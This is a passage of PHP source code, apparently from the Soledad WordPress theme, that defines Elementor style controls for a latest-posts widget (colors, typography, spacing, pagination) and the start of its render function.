				'{{WRAPPER}} .penci-latest-posts-classic-grid article.format-standard .cat > a.penci-cat-name'     => 'font-size: {{SIZE}}px !important',
				'{{WRAPPER}} .penci-latest-posts-classic-grid-2 article.format-standard .cat > a.penci-cat-name'   => 'font-size: {{SIZE}}px !important',
				'{{WRAPPER}} .penci-latest-posts-classic-list article.format-standard .cat > a.penci-cat-name'     => 'font-size: {{SIZE}}px !important',
				'{{WRAPPER}} .penci-latest-posts-overlay-grid .grid-overlay .cat > a.penci-cat-name'               => 'font-size: {{SIZE}}px !important',
				'{{WRAPPER}} .penci-latest-posts-overlay-grid-2 .grid-overlay .cat > a.penci-cat-name'             => 'font-size: {{SIZE}}px !important',
				'{{WRAPPER}} .penci-latest-posts-overlay-list .grid-overlay .cat > a.penci-cat-name'               => 'font-size: {{SIZE}}px !important',
				'{{WRAPPER}} .penci-latest-posts-overlay-boxed-1 .grid-overlay .cat > a.penci-cat-name'            => 'font-size: {{SIZE}}px !important',
				'{{WRAPPER}} .penci-latest-posts-mixed-4 .penci-featured-infor .cat > a.penci-cat-name'            => 'font-size: {{SIZE}}px !important',
			),
			'condition' => array( 'penci_style' => $style_big_post ),
		) );

		// Read more button
		$this->add_control( 'heading_readmore_style', array(
			'label'     => __( 'Continue Reading/Read More Button', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );
		$this->add_control( 'readmore_text_color', array(
			'label'     => __( 'Text Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .penci-more-link a.more-link' => 'color: {{VALUE}};' ),
		) );
		$this->add_control( 'readmore_text_hcolor', array(
			'label'     => __( 'Text Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .penci-more-link a.more-link:hover' => 'color: {{VALUE}};' ),
		) );
		$this->add_control( 'readmorebt_text_color', array(
			'label'     => __( 'Text Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .penci-readmore-btn a' => 'color: {{VALUE}};' ),
		) );
		$this->add_control( 'readmorebt_text_hcolor', array(
			'label'     => __( 'Text Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .penci-readmore-btn a:hover' => 'color: {{VALUE}};' ),
		) );
		$this->add_control( 'readmore_bg_color', array(
			'label'     => __( 'Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .penci-readmore-btn.penci-btn-make-button a, {{WRAPPER}} .standard-content .penci-more-link.penci-more-link-button a.more-link' => 'background-color: {{VALUE}};' ),
		) );
		$this->add_control( 'readmore_bg_hcolor', array(
			'label'     => __( 'Background Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .penci-readmore-btn.penci-btn-make-button a:hover, {{WRAPPER}} .standard-content .penci-more-link.penci-more-link-button a.more-link:hover' => 'background-color: {{VALUE}};' ),
		) );
		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'label'    => __( 'Continue Reading Typography', 'soledad' ),
			'name'     => 'readmore_text_typo',
			'selector' => '{{WRAPPER}} .penci-more-link a.more-link, {{WRAPPER}} .standard-content .penci-more-link.penci-more-link-button a.more-link',
		) );
		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'label'    => __( 'Read More Button Typography', 'soledad' ),
			'name'     => 'readmorebtn_text_typo',
			'selector' => '{{WRAPPER}} .penci-readmore-btn a',
		) );
		$this->add_control( 'readmore_line_color', array(
			'label'     => __( 'Line Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .penci-more-link a.more-link:before,{{WRAPPER}} .penci-more-link a.more-link:after' => 'border-color: {{VALUE}};' ),
		) );

		// Social Share
		$this->add_control( 'heading_socialshare_style', array(
			'label'     => __( 'Social Share', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );
		$this->add_control( 'socialshare_color', array(
			'label'     => __( 'Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .penci-post-box-meta .penci-post-share-box a, {{WRAPPER}} .penci-featured-share-box a' => 'color: {{VALUE}};' ),
		) );
		$this->add_control( 'socialshare_hcolor', array(
			'label'     => __( 'Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .penci-post-box-meta .penci-post-share-box a:hover, {{WRAPPER}} .penci-featured-share-box a:hover' => 'color: {{VALUE}};' ),
		) );
		$this->add_control( 'socialshare_bgcolor', array(
			'label'     => __( 'Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .penci-featured-share-box .penci-shareic, {{WRAPPER}} .penci-featured-share-box .penci-shareso' => 'background-color: {{VALUE}};' ),
			'condition' => array( 'penci_style' => $style_extra_post ),
		) );
		$this->add_control( 'socialshare_line_color', array(
			'label'     => __( 'Line Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .penci-post-box-meta.penci-post-box-grid:before' => 'background-color: {{VALUE}};' ),
		) );
		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'socialshare_typo',
			'selector' => '{{WRAPPER}} .penci-post-box-meta .penci-post-share-box a',
		) );
		$this->add_responsive_control( 'bsocialshare_size', array(
			'label'     => __( 'Font size for Big Post', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
			'selectors' => array(
				'{{WRAPPER}} .penci-latest-posts-mixed-2 .item.overlay-layout .penci-post-box-meta .penci-post-share-box a'             => 'font-size: {{SIZE}}px !important',
				'{{WRAPPER}} .penci-latest-posts-mixed .grid-mixed .penci-post-box-meta .penci-post-share-box a'                        => 'font-size: {{SIZE}}px !important',
				'{{WRAPPER}} .penci-latest-posts-standard-grid article.format-standard .penci-post-box-meta .penci-post-share-box a'    => 'font-size: {{SIZE}}px !important',
				'{{WRAPPER}} .penci-latest-posts-standard-grid-2 article.format-standard .penci-post-box-meta .penci-post-share-box a'  => 'font-size: {{SIZE}}px !important',
				'{{WRAPPER}} .penci-latest-posts-standard-list article.format-standard .penci-post-box-meta .penci-post-share-box a'    => 'font-size: {{SIZE}}px !important',
				'{{WRAPPER}} .penci-latest-posts-standard-boxed-1 article.format-standard .penci-post-box-meta .penci-post-share-box a' => 'font-size: {{SIZE}}px !important',
				'{{WRAPPER}} .penci-latest-posts-classic-grid article.format-standard .penci-post-box-meta .penci-post-share-box a'     => 'font-size: {{SIZE}}px !important',
				'{{WRAPPER}} .penci-latest-posts-classic-grid-2 article.format-standard .penci-post-box-meta .penci-post-share-box a'   => 'font-size: {{SIZE}}px !important',
				'{{WRAPPER}} .penci-latest-posts-classic-list article.format-standard .penci-post-box-meta .penci-post-share-box a'     => 'font-size: {{SIZE}}px !important',
				'{{WRAPPER}} .penci-latest-posts-overlay-grid .grid-overlay .penci-post-share-box a'                                    => 'font-size: {{SIZE}}px !important',
				'{{WRAPPER}} .penci-latest-posts-overlay-grid-2 .grid-overlay .penci-post-share-box a'                                  => 'font-size: {{SIZE}}px !important',
				'{{WRAPPER}} .penci-latest-posts-overlay-list .grid-overlay .penci-post-share-box a'                                    => 'font-size: {{SIZE}}px !important',
				'{{WRAPPER}} .penci-latest-posts-overlay-boxed-1 .grid-overlay .penci-post-share-box a'                                 => 'font-size: {{SIZE}}px !important',
				'{{WRAPPER}} .penci-latest-posts-mixed-4 .grid-featured .penci-post-share-box a'                                        => 'font-size: {{SIZE}}px !important',
			),
			'condition' => array( 'penci_style' => $style_big_post ),
		) );

		// Social Share
		$this->add_control( 'heading_extra_style', array(
			'label'     => __( 'Extra Options', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
			'condition' => array( 'penci_style' => $style_extra_post ),
		) );

		$this->add_control( 'borders_color_sfeatured', array(
			'label'     => __( 'Borders Color for Featured Boxed Style', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .grid-featured' => 'border-color: {{VALUE}};' ),
			'condition' => array( 'penci_style' => $style_extra_post ),
		) );

		$this->add_control( 'bg_color_sfeatured', array(
			'label'     => __( 'Background Color for Featured Boxed Style', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .grid-featured' => 'background-color: {{VALUE}};' ),
			'condition' => array( 'penci_style' => $style_extra_post ),
		) );

		$this->end_controls_section();

		// Pagination
		$this->start_controls_section( 'section_pagination_style', array(
			'label' => __( 'Pagination', 'soledad' ),
			'tab'   => Controls_Manager::TAB_STYLE,
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'pagination_typography',
			'selector' => '{{WRAPPER}} .penci-pagination ul.page-numbers li a i, {{WRAPPER}} .penci-pagination ul.page-numbers li span,{{WRAPPER}} .penci-pagination ul.page-numbers li a, {{WRAPPER}}  .penci-pagination.penci-ajax-more a.penci-ajax-more-button'
		) );
		$this->add_responsive_control( 'pagination_icon', array(
			'label'     => __( 'Font size for Load More Icon', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
			'selectors' => array( '{{WRAPPER}} .penci-pagination a.penci-ajax-more-button i, {{WRAPPER}}  .penci-pagination .disable-url i' => 'font-size: {{SIZE}}px' ),
			'condition' => array( 'penci_paging' => array( 'loadmore', 'scroll' ) ),
		) );
		$this->add_control( 'pagination_color_heading', array(
			'label'     => __( 'Colors', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before'
		) );

		$this->start_controls_tabs( 'pagination_colors' );

		$this->start_controls_tab( 'pagination_color_normal', array(
			'label' => __( 'Normal', 'soledad' )
		) );

		$this->add_control( 'pagination_color', array(
			'label'     => __( 'Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array(
				'{{WRAPPER}} .penci-pagination ul.page-numbers li span,'                 => 'color: {{VALUE}};',
				'{{WRAPPER}} .penci-pagination ul.page-numbers li a'                     => 'color: {{VALUE}};',
				'{{WRAPPER}} .penci-pagination.penci-ajax-more a.penci-ajax-more-button' => 'color: {{VALUE}};'
			)
		) );
		$this->add_control( 'pagination_bordercolor', array(
			'label'     => __( 'Border Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array(
				'{{WRAPPER}} .penci-pagination ul.page-numbers li span,'                 => 'border-color: {{VALUE}};',
				'{{WRAPPER}} .penci-pagination ul.page-numbers li a'                     => 'border-color: {{VALUE}};',
				'{{WRAPPER}} .penci-pagination.penci-ajax-more a.penci-ajax-more-button' => 'border-color: {{VALUE}};'
			)
		) );
		$this->add_control( 'pagination_bgcolor', array(
			'label'     => __( 'Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array(
				'{{WRAPPER}} .penci-pagination ul.page-numbers li span,'                 => 'background-color: {{VALUE}};',
				'{{WRAPPER}} .penci-pagination ul.page-numbers li a'                     => 'background-color: {{VALUE}};',
				'{{WRAPPER}} .penci-pagination.penci-ajax-more a.penci-ajax-more-button' => 'background-color: {{VALUE}};'
			)
		) );

		$this->end_controls_tab();

		$this->start_controls_tab( 'pagination_color_hover', array(
			'label' => __( 'Hover', 'soledad' )
		) );

		$this->add_control( 'pagination_hover_color', array(
			'label'     => __( 'Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array(
				'{{WRAPPER}}  .penci-pagination.penci-ajax-more a.penci-ajax-more-button:hover' => 'color: {{VALUE}}',
				'{{WRAPPER}} .penci-pagination ul.page-numbers li a:hover'                      => 'color: {{VALUE}}',
				'{{WRAPPER}} .penci-pagination ul.page-numbers li span.current'                 => 'color: {{VALUE}}'
			)
		) );
		$this->add_control( 'pagination_hbordercolor', array(
			'label'     => __( 'Hover Border Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array(
				'{{WRAPPER}}  .penci-pagination.penci-ajax-more a.penci-ajax-more-button:hover' => 'border-color: {{VALUE}}',
				'{{WRAPPER}} .penci-pagination ul.page-numbers li a:hover'                      => 'border-color: {{VALUE}}',
				'{{WRAPPER}} .penci-pagination ul.page-numbers li span.current'                 => 'border-color: {{VALUE}}'
			)
		) );
		$this->add_control( 'pagination_hbgcolor', array(
			'label'     => __( 'Hover Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array(
				'{{WRAPPER}} .penci-pagination.penci-ajax-more a.penci-ajax-more-button:hover' => 'background-color: {{VALUE}}',
				'{{WRAPPER}} .penci-pagination ul.page-numbers li a:hover'                     => 'background-color: {{VALUE}}',
				'{{WRAPPER}} .penci-pagination ul.page-numbers li span.current'                => 'background-color: {{VALUE}}'
			)
		) );

		$this->end_controls_tab();

		$this->end_controls_tabs();

		$this->add_responsive_control( 'pagination_spacing', array(
			'label'     => __( 'Space Between', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'separator' => 'before',
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100 ) ),
			'selectors' => array(
				'{{WRAPPER}} .penci-pagination' => 'margin-top: {{SIZE}}{{UNIT}}'
			)
		) );

		$this->end_controls_section();
		$this->register_block_heading_link_section_style();
		$this->register_block_title_style_section_controls();

		// spacing settings
		$this->start_controls_section( 'section_control_spacing', array(
			'label' => __( 'Elements Spacing', 'soledad' ),
			'tab'   => Controls_Manager::TAB_CONTENT,
		) );
		$this->add_responsive_control( 'spacing_thumbnail_big', array(
			'label'       => __( 'Thumbnail Spacing for Big Post Items', 'soledad' ),
			'type'        => Controls_Manager::SLIDER,
			'default'     => array( 'size' => '' ),
			'range'       => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors'   => array(
				'{{WRAPPER}} .grid-featured .standard-post-image, {{WRAPPER}} .grid-mixed .thumbnail, {{WRAPPER}} article.standard-article .standard-post-image, {{WRAPPER}} .grid-overlay .thumbnail' => 'margin-bottom: {{SIZE}}px;',
			),
			'label_block' => true,
			'condition'   => array(
				'penci_style' => array(
					'mixed',
					'mixed-2',
					'mixed-4',
					'standard-grid',
					'standard-list',
					'standard-grid-2',
					'standard-boxed',
					'classic-grid',
					'classic-list',
					'classic-grid-2',
					'classic-boxed',
					'overlay-grid',
					'overlay-list',
					'overlay-grid-2',
					'overlay-boxed'
				)
			),
		) );
		$this->add_responsive_control( 'spacing_thumbnail', array(
			'label'     => __( 'Thumbnail Spacing', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'separator' => 'before',
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100 ) ),
			'selectors' => array(
				'{{WRAPPER}} .standard-post-image, {{WRAPPER}} .penci-grid li .item > .thumbnail, {{WRAPPER}} .penci-masonry .item-masonry > .thumbnai' => 'margin-bottom: {{SIZE}}{{UNIT}}'
			)
		) );
		$this->add_responsive_control( 'spacing_categories', array(
			'label'     => __( 'Categories Spacing', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'separator' => 'before',
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100 ) ),
			'selectors' => array(
				'{{WRAPPER}} .penci-featured-infor .cat, {{WRAPPER}} .overlay-header-box .cat, {{WRAPPER}} .penci-standard-cat, {{WRAPPER}} .penci-grid li .item .cat, {{WRAPPER}} .penci-masonry .item-masonry .cat' => 'margin-bottom: {{SIZE}}{{UNIT}}'
			)
		) );
		$this->add_responsive_control( 'spacing_title', array(
			'label'     => __( 'Title Spacing', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'separator' => 'before',
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100 ) ),
			'selectors' => array(
				'{{WRAPPER}} .penci-entry-title' => 'margin-bottom: {{SIZE}}{{UNIT}}'
			)
		) );
		$this->add_responsive_control( 'spacing_meta', array(
			'label'     => __( 'Meta Spacing', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'separator' => 'before',
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100 ) ),
			'selectors' => array(
				'{{WRAPPER}} .overlay-header-box .overlay-author, {{WRAPPER}} .grid-post-box-meta, {{WRAPPER}} .header-standard .author-post' => 'margin-top: {{SIZE}}{{UNIT}}'
			)
		) );
		$this->add_responsive_control( 'meta_group_spacing', array(
			'label'     => __( 'Header Group Spacing', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'separator' => 'before',
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100 ) ),
			'selectors' => array(
				'{{WRAPPER}} .penci-overlay-over .overlay-header-box, {{WRAPPER}} .grid-header-box' => 'padding-bottom: {{SIZE}}{{UNIT}}',
				'{{WRAPPER}} .header-standard'                                                      => 'padding-bottom: {{SIZE}}{{UNIT}};margin-bottom: {{SIZE}}{{UNIT}}',
			)
		) );
		$this->add_responsive_control( 'item_content_spacing', array(
			'label'     => __( 'Post Excerpt/Content Spacing', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'separator' => 'before',
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100 ) ),
			'selectors' => array(
				'{{WRAPPER}} .post-entry.standard-post-entry, {{WRAPPER}} .penci-grid li .item .item-content, {{WRAPPER}} .penci-masonry .item-masonry .item-content, {{WRAPPER}} .penci-grid .mixed-detail .item-content' => 'margin-top: {{SIZE}}{{UNIT}}'
			)
		) );
		$this->add_responsive_control( 'btn_readmore_spacing', array(
			'label'      => __( 'Read More Spacing', 'soledad' ),
			'type'       => Controls_Manager::SLIDER,
			'separator'  => 'before',
			'range'      => array( 'px' => array( 'min' => 0, 'max' => 100 ) ),
			'selectors'  => array(
				'{{WRAPPER}} .penci-more-link a.more-link, {{WRAPPER}} .penci-readmore-btn, {{WRAPPER}} .penci-featured-cat-seemore' => 'margin-top: {{SIZE}}{{UNIT}}'
			),
			'conditions' => [
				'relation' => 'OR',
				'terms'    => [
					[
						'name'     => 'grid_add_readmore',
						'operator' => '!=',
						'value'    => ''
					],
					[
						'name'     => 'penci_style',
						'operator' => 'in',
						'value'    => array_merge( [ 'standard', 'classic', 'featured' ], $style_big_post )
					],
				]
			]
		) );
		$this->add_responsive_control( 'item_boxmeta_spacing', array(
			'label'     => __( 'Share Box Spacing', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'separator' => 'before',
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100 ) ),
			'selectors' => array(
				'{{WRAPPER}} .penci-post-box-meta.penci-post-box-grid, {{WRAPPER}} .penci-post-box-meta' => 'margin-top: {{SIZE}}{{UNIT}}'
			)
		) );
		$this->end_controls_section();

		// bigpost spacing settings
		$this->start_controls_section( 'section_control_bpostspacing', array(
			'label'     => __( 'Elements Spacing for Big Post', 'soledad' ),
			'tab'       => Controls_Manager::TAB_CONTENT,
			'condition' => [
				'penci_style' => [
					'mixed',
					'mixed-2',
					'mixed-larger',
					'mixed-3',
					'mixed-4',
					'standard-grid',
					'standard-grid-2',
					'standard-list',
					'standard-boxed-1',
					'classic-grid',
					'classic-grid-2',
					'classic-list',
					'classic-boxed-1',
					'overlay-grid',
					'overlay-grid-2',
					'overlay-list',
					'overlay-boxed-1',
				]
			]
		) );
		$this->add_responsive_control( 'bspacing_thumbnail', array(
			'label'     => __( 'Thumbnail Spacing', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'separator' => 'before',
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100 ) ),
			'selectors' => array(
				'{{WRAPPER}} .penci-el-mixed-s1 .standard-post-image' => 'margin-bottom: {{SIZE}}{{UNIT}}',
			)
		) );
		$this->add_responsive_control( 'bspacing_categories', array(
			'label'     => __( 'Categories Spacing', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'separator' => 'before',
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100 ) ),
			'selectors' => array(
				'{{WRAPPER}} .penci-el-mixed-s1 .penci-standard-cat'      => 'margin-bottom: {{SIZE}}{{UNIT}}',
				'{{WRAPPER}} .penci-el-mixed-s1 .overlay-header-box .cat' => 'margin-bottom: {{SIZE}}{{UNIT}}'
			)
		) );
		$this->add_responsive_control( 'bspacing_title', array(
			'label'     => __( 'Title Spacing', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'separator' => 'before',
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100 ) ),
			'selectors' => array(
				'{{WRAPPER}} .penci-el-mixed-s1 .standard-pitem .penci-entry-title' => 'margin-bottom: {{SIZE}}{{UNIT}}',
				'{{WRAPPER}} .penci-el-mixed-s1 .classic-pitem .penci-entry-title'  => 'margin-bottom: {{SIZE}}{{UNIT}}',
				'{{WRAPPER}} .penci-el-mixed-s1 .overlay-layout .penci-entry-title' => 'margin-bottom: {{SIZE}}{{UNIT}}',
			)
		) );
		$this->add_responsive_control( 'bspacing_meta', array(
			'label'     => __( 'Meta Spacing', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'separator' => 'before',
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100 ) ),
			'selectors' => array(
				'{{WRAPPER}} .penci-el-mixed-s1 .standard-pitem .header-standard .author-post'         => 'margin-top: {{SIZE}}{{UNIT}}',
				'{{WRAPPER}} .penci-el-mixed-s1 .classic-pitem .header-standard .author-post'          => 'margin-top: {{SIZE}}{{UNIT}}',
				'{{WRAPPER}} .penci-el-mixed-s1 .penci-overlay-over .penci-meta-author.overlay-author' => 'margin-top: {{SIZE}}{{UNIT}}'
			)
		) );
		$this->add_responsive_control( 'bmeta_group_spacing', array(
			'label'     => __( 'Header Group Spacing', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'separator' => 'before',
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100 ) ),
			'selectors' => array(
				'{{WRAPPER}} .penci-el-mixed-s1 .standard-pitem .header-standard'        => 'padding-bottom: {{SIZE}}{{UNIT}};margin-bottom: {{SIZE}}{{UNIT}}',
				'{{WRAPPER}} .penci-el-mixed-s1 .classic-pitem .header-standard'         => 'padding-bottom: {{SIZE}}{{UNIT}};margin-bottom: {{SIZE}}{{UNIT}}',
				'{{WRAPPER}} .penci-el-mixed-s1 .penci-overlay-over .overlay-header-box' => 'padding-bottom: {{SIZE}}{{UNIT}};margin-bottom: {{SIZE}}{{UNIT}}',
			)
		) );
		$this->add_responsive_control( 'bitem_content_spacing', array(
			'label'     => __( 'Post Excerpt/Content Spacing', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'separator' => 'before',
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100 ) ),
			'selectors' => array(
				'{{WRAPPER}} .penci-grid li .item .item-content, {{WRAPPER}} .penci-masonry .item-masonry .item-content, {{WRAPPER}} .penci-grid .mixed-detail .item-content' => 'margin-top: {{SIZE}}{{UNIT}}'
			)
		) );
		$this->add_responsive_control( 'bitem_boxmeta_spacing', array(
			'label'     => __( 'Share Box Spacing', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'separator' => 'before',
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100 ) ),
			'selectors' => array(
				'{{WRAPPER}} .penci-el-mixed-s1 .standard-pitem .penci-post-box-meta' => 'margin-top: {{SIZE}}{{UNIT}}',
				'{{WRAPPER}} .penci-el-mixed-s1 .classic-pitem .penci-post-box-meta'  => 'margin-top: {{SIZE}}{{UNIT}}'
			)
		) );
		$this->add_responsive_control( 'bitem_btn_readmore_spacing', array(
			'label'     => __( 'Read More Spacing', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'separator' => 'before',
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100 ) ),
			'selectors' => array(
				'{{WRAPPER}} .penci-el-mixed-s1 .standard-pitem .penci-more-link a.more-link,{{WRAPPER}} .penci-el-mixed-s1 .classic-pitem .penci-more-link a.more-link' => 'margin-top: {{SIZE}}{{UNIT}}'
			),
		) );
		$this->end_controls_section();
		$this->register_penci_bookmark_style_groups();
		$this->register_paywall_premium_heading_style_groups();
	}

	/**
	 * Get image sizes.
	 *
	 * Retrieve available image sizes after filtering `include` and `exclude` arguments.
	 */
	public function get_list_image_sizes( $default = false ) {
		$wp_image_sizes = $this->get_all_image_sizes();

		$image_sizes = array();

		if ( $default ) {
			$image_sizes[''] = esc_html__( 'Default', 'soledad' );
		}

		foreach ( $wp_image_sizes as $size_key => $size_attributes ) {
			$control_title = ucwords( str_replace( '_', ' ', $size_key ) );
			if ( is_array( $size_attributes ) ) {
				$control_title .= sprintf( ' - %d x %d', $size_attributes['width'], $size_attributes['height'] );
			}

			$image_sizes[ $size_key ] = $control_title;
		}

		$image_sizes['full'] = esc_html__( 'Full', 'soledad' );

		return $image_sizes;
	}

	public function get_all_image_sizes() {
		global $_wp_additional_image_sizes;

		$default_image_sizes = [ 'thumbnail', 'medium', 'medium_large', 'large' ];

		$image_sizes = [];

		foreach ( $default_image_sizes as $size ) {
			$image_sizes[ $size ] = [
				'width'  => (int) get_option( $size . '_size_w' ),
				'height' => (int) get_option( $size . '_size_h' ),
				'crop'   => (bool) get_option( $size . '_crop' ),
			];
		}

		if ( $_wp_additional_image_sizes ) {
			$image_sizes = array_merge( $image_sizes, $_wp_additional_image_sizes );
		}

		return $image_sizes;
	}

	protected function render() {
		$settings         = $this->get_settings();
		$original_postype = $settings['posts_post_type'];
		if ( in_array( $original_postype, [
				'current_query',
				'related_posts'
			] ) && penci_elementor_is_edit_mode() && penci_is_builder_template() ) {
			$settings['posts_post_type'] = 'post';
		}

		$query_args = Query_Control::get_query_args( 'posts', $settings );

		if ( in_array( $original_postype, [ 'current_query', 'related_posts' ] ) ) {
			$paged  = ( get_query_var( 'paged' ) ) ? get_query_var( 'paged' ) : 1;
			$ppp    = $settings['posts_per_page'] ? $settings['posts_per_page'] : get_option( 'posts_per_page' );
			$ppp    = isset( $settings['arposts_per_page'] ) && $settings['arposts_per_page'] ? $settings['arposts_per_page'] : $ppp;
			$offset = 0;
			if ( $ppp ) {
				$query_args['posts_per_page'] = $ppp;
			}

			if ( $settings['arposts_new'] == 'yes' ) {
				$query_args['paged'] = 1;
			}
			if ( 0 < $settings['offset'] ) {
				$offset = $settings['offset'];
			}

			if ( ! empty( $settings['offset'] ) && $paged > 1 ) {
				$offset = $settings['offset'] + ( ( $paged - 1 ) * $ppp );
			}

			if ( $offset ) {
				$query_args['offset'] = $offset;
			}
		}

		$ads_code = '';
		if ( $settings['infeedads_code'] ) {
			$ads_code = base64_encode( rawurlencode( $settings['infeedads_code'] ) );
		}
		$order_columns        = isset( $settings['order_columns'] ) ? $settings['order_columns'] : '';
		$order_columns_tablet = isset( $settings['order_columns_tablet'] ) ? $settings['order_columns_tablet'] : $order_columns;
		$order_columns_mobile = isset( $settings['order_columns_mobile'] ) ? $settings['order_columns_mobile'] : $order_columns;

		echo \Soledad_VC_Shortcodes::latest_posts( array(
			'heading'             => $settings['heading'],
			'hide_block_heading'  => $settings['hide_block_heading'],
			'heading_title_style' => $settings['heading_title_style'],
			'heading_title_html_tag' => $settings['heading_title_html_tag'],
			'heading_title_link'  => $settings['heading_title_link'],
			'heading_title_align' => $settings['block_title_align'],
			'heading_icon_pos'    => $settings['heading_icon_pos'],
			'heading_icon'        => $settings['heading_icon'],
			'style'               => $settings['penci_style'],
			'paging'              => $settings['penci_paging'],
			'penci_mixed_style'   => $settings['penci_mixed_style'],
			'morenum'             => $settings['morenum'],
			'penci_boxed_dcol'    => $settings['penci_boxed_dcol'],
			'penci_boxed_mcol'    => $settings['penci_boxed_mcol'],
			'penci_boxed_tcol'    => $settings['penci_boxed_tcol'],

			'standard_meta_overlay'      => $settings['standard_meta_overlay'],
			'standard_thumbnail'         => $settings['standard_thumbnail'],
			'std_dis_at_gallery'         => $settings['std_dis_at_gallery'],
			'standard_thumb_crop'        => $settings['standard_thumb_crop'],
			'standard_share_box'         => $settings['standard_share_box'],
			'standard_cat'               => $settings['standard_cat'],
			'standard_cat_move'          => $settings['standard_cat_move'],
			'standard_author'            => $settings['standard_author'],
			'standard_date'              => $settings['standard_date'],
			'standard_comment'           => $settings['standard_comment'],
			'standard_viewscount'        => $settings['standard_viewscount'],
			'standard_readtime'          => $settings['standard_readtime'],
			'standard_remove_line'       => $settings['standard_remove_line'],
			'standard_auto_excerpt'      => $settings['standard_auto_excerpt'],
			'standard_remove_excerpt'    => $settings['standard_remove_excerpt'],
			'standard_effect_button'     => $settings['standard_effect_button'],
			'std_continue_btn'           => $settings['std_continue_btn'],
			'grid_icon_format'           => $settings['grid_icon_format'],
			'grid_meta_overlay'          => $settings['grid_meta_overlay'],
			'grid_nocrop_list'           => $settings['grid_nocrop_list'],
			'grid_share_box'             => $settings['grid_share_box'],
			'grid_cat'                   => $settings['grid_cat'],
			'grid_cat_move'              => $settings['grid_cat_move'],
			'grid_author'                => $settings['grid_author'],
			'grid_date'                  => $settings['grid_date'],
			'grid_comment'               => $settings['grid_comment'],
			'grid_comment_other'         => $settings['grid_comment_other'],
			'grid_viewscount'            => $settings['grid_viewscount'],
			'grid_readtime'              => $settings['grid_readtime'],
			'grid_remove_line'           => $settings['grid_remove_line'],
			'grid_remove_excerpt'        => $settings['grid_remove_excerpt'],
			'grid_add_readmore'          => $settings['grid_add_readmore'],
			'grid_remove_arrow'          => $settings['grid_remove_arrow'],
